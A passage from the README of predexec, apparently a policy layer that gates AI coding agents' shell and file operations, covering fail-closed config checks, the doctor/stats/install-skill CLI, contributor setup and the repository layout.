(fail closed, with a warning in the tool result, on stderr for MCP hosts, and in doctor):
- the config file path resolves inside the session root (for example,
XDG_CONFIG_HOMEorHOMEpoints into the checkout, or you run the agent from your home directory); HOMEorXDG_CONFIG_HOMEis a relative path, which would resolve against a working directory the repository controls;- on Claude Code, the project's
.claude/settings.jsonor.claude/settings.local.jsonsetsPREDEXEC_READONLY_HEADS,PREDEXEC_ALLOW_SCRIPTS,XDG_CONFIG_HOMEorHOMEin itsenvblock. If you set these deliberately in project settings, move them to your user settings or the config file.
A repository-scoped MCP registration (.mcp.json, or a Codex or Antigravity project MCP entry)
is out of scope: once you approve one, it chooses the server command itself, and so has full
trust. Its env block is part of that trust, and predexec cannot tell it apart from yours.
Doctor & stats
predexec ships a CLI (bin/predexec.mjs, node builtins only) for install diagnostics and
request accounting:
npx -y predexec doctor # node version + pi / opencode / Claude Code / Codex / Antigravity wiring + skill checks
npx -y predexec doctor --live # + spawns opencode and probes tool registration
npx -y predexec stats # aggregate recorded runs: ops collapsed, requests saved, edge hit-rate
npx -y predexec install-skill <claude|codex|opencode|antigravity|pi> [--project] [--dry-run] [--force]
doctor reports four states and exits non-zero only for [!] — a machine that simply
doesn't use a given harness is healthy, not broken:
| meaning | |
|---|---|
[x] |
wired and healthy |
[!] |
predexec IS wired here but is broken — the only state that fails |
[ ] |
harness installed, predexec not wired (actionable) |
[-] |
harness not installed |
Alongside each MCP/plugin registration check, doctor also looks for the harness's own routing
SKILL.md in that host's documented skill-discovery locations: [x] when found (or bundled with
the Claude Code plugin form), [ ] with an install-skill hint when the harness is registered but
no skill is visible, [!] when two different predexec skills are visible to the same host
(e.g. opencode also scans .claude/skills, so a stale Claude-flavored copy left there conflicts
with opencode's own), and an info note when a project's AGENTS.md routing block and an
installed skill are both active (harmless — the routing text just loads twice). Identical
duplicate copies of the same skill across two discovery roots are info, not [!].
For opencode 2.x, doctor also parses every agent/mode markdown file it can see and reports each
one whose frontmatter would make that agent deny-all as [!], naming the file, line and reason.
install-skill copies the packaged skill for one harness into that host's own skill directory
(pi needs no such step — it loads the skill straight out of the installed package; opencode
needs no such step either — its plugin registers the packaged skill itself via a config
hook, so install-skill opencode is a manual fallback for hosts where that doesn't apply):
| harness | --project off (global) |
--project |
|---|---|---|
| claude | ${CLAUDE_CONFIG_DIR:-~/.claude}/skills/predexec/ |
.claude/skills/predexec/ |
| codex | ~/.agents/skills/predexec/ |
.agents/skills/predexec/ |
| opencode | ~/.config/opencode/skills/predexec/ |
.opencode/skills/predexec/ |
| antigravity | ~/.gemini/config/skills/predexec/ (provisional) |
.agents/skills/predexec/ |
It refuses to overwrite a destination file whose content differs from the packaged one unless
--force is given, and --dry-run prints what it would do without touching disk.
Stats are append-only JSONL in $PREDEXEC_STATE_DIR (or $XDG_STATE_HOME/predexec, or
~/.local/state/predexec). Each adapter calls recordRun after every runPlanTree — fire-and-forget,
errors swallowed (a stats failure must never break a tool call).
Develop / contribute
Clone and use pnpm (the project's package manager):
git clone https://github.com/FuriousZen/predexec && cd predexec
corepack enable # makes pnpm available (ships with Node)
pnpm install
pnpm run build # tsc -p tsconfig.build.json -> dist/
pnpm test # vitest
pnpm run typecheck # tsc --noEmit
Load your working copy live in pi while iterating:
pi -e /path/to/predexec/.pi/extension/index.ts # or run `pi` inside the repo
(Inside the devcontainer the checkout is already mounted and the adapter loads from it, so your edits are always what's measured.)
Layout
dist/ compiled ESM JavaScript (tsconfig.build.json, atomic swap via
scripts/clean-build.mjs)
core/ PURE TS, zero harness imports (promotable to a standalone package)
types.ts conditions.ts runner.ts engine.ts destructive.ts validation.ts coerce.ts index.ts
shell/ single-sourced shell mechanics (lexer, host-neutral inspection,
read-only heads, interpreter eval, language scanning, reader
allowlists, git, command-bearing env vars, data taint, path
operands, repository-script detection, perl magic open, inline-
program reads) — used
by both destructive.ts and every host policy adapter below
user-config.ts user-level classifier config (env + ~/.config/predexec/config.json;
never read from the repository)
plan-language.ts shared plan-shape prose + tool-op syntax every adapter's tool
description is built from
yaml-frontmatter.ts certainty-or-fail-closed YAML-frontmatter reader for opencode
v2 agent/mode markdown, feeding policy.ts's v2 ruleset model
.pi/extension/index.ts pi adapter — JSON Schema + ctx wiring, delegates to core
.opencode/plugins/predexec.ts opencode adapter — ONE export loading opencode v1 (`{id,server}`)
AND v2 (`{id,setup}`); v1 hooks live here
.opencode/lib/shared.ts logic shared by the v1 and v2 shims
.opencode/lib/v2.ts opencode v2 (2.x) shim — no `ask`, no file API ⇒ tool ops run
through mcp/tool-ops.ts, the same executor Claude Code/Codex use
mcp/ Claude Code / Codex / Antigravity adapter (stdio MCP), delegates to core
server.ts the MCP server: one `predexec` tool (`--host` picks the policy reader)
tool-ops.ts read/grep/find/ls over node:fs (rg/fd accelerate when present);
shared verbatim by Claude Code, Codex, Antigravity, AND opencode v2
policy-claude.ts reads your Claude Code permission rules → policyStop
policy-codex.ts reads Codex's config.toml + execpolicy rules → policyStop, fail-closed
policy-antigravity.ts reads agy's settings.json grants (Deny > Ask > Allow) → policyStop, fail-closed
toml-lite.ts hand-rolled TOML reader for ~/.codex/config.toml (no TOML dependency)
gitignore-match.ts pure gitignore-pattern matcher backing policy-claude.ts's Read/Edit rules
shell-path-operands.ts resolves shell commands' path operands for the Claude/Antigravity read-rule checks
steering.ts shared steering text/marker + renderSkill (harness-facing; not in core/)
stats.ts request-accounting recorder (append-only JSONL; harness-facing)
policy.ts opencode permission reader/checker, v1 and v2 (harness-facing)
adapter-runtime.ts shared adapter execution & stats runtime
bin/predexec.mjs CLI: doctor + stats + install-skill (node builtins only)
bin/predexec-mcp.mjs MCP entrypoint (`--host codex|antigravity` selects the host; `--root` for antigravity)
scripts/gen-skills.mjs renders every harness's SKILL.md from steering.ts (`pnpm skills`)
scripts/sync-plugin-version.mjs syncs every plugin manifest's version from package.json on `npm version`
scripts/clean-build.mjs build wrapper: compiles to a scratch dir, atomically swaps into dist/
scripts/stress-test.mjs runs test suites concurrently to surface flaky tests
scripts/probes/ throwaway measurement scripts behind docs/research/* findings, plus
yaml-fuzz.mjs, the differential fuzzer against real js-yaml 3.14.2
docs/research/*.md measured-not-assumed findings (codex-plugin, antigravity, opencode skills/v2)
.pi/skills/predexec/SKILL.md pi routing skill (loaded via pi.skills) } generated from steering.ts
skills/<harness>/predexec/SKILL.md claude / codex / opencode routing skills } by `pnpm skills`;
antigravity-plugin/skills/predexec/SKILL.md Antigravity routing skill } never edit by hand
.claude-plugin/plugin.json Claude Code plugin manifest (MCP server + skills path)
.claude-plugin/marketplace.json self-hosting marketplace listing (source: "./") for `/plugin install`
.codex-plugin/plugin.json Codex plugin manifest (mcpServers/skills point at companion files)
.codex-plugin/mcp.json Codex plugin's MCP server config (env_vars forwards CODEX_HOME,
PREDEXEC_READONLY_HEADS, PREDEXEC_ALLOW_SCRIPTS, XDG_CONFIG_HOME)
.agents/plugins/marketplace.json self-hosting marketplace listing (path: "./") for `codex plugin add`
antigravity-plugin/ self-hosting Antigravity plugin: plugin.json, mcp_config.json, skill
configs/opencode/AGENTS.md drop-in routing block for opencode projects
configs/codex/AGENTS.md paste-ready routing block for Codex projects (fallback, no plugin)
configs/antigravity/AGENTS.md paste-ready routing block for Antigravity projects (fallback, no plugin)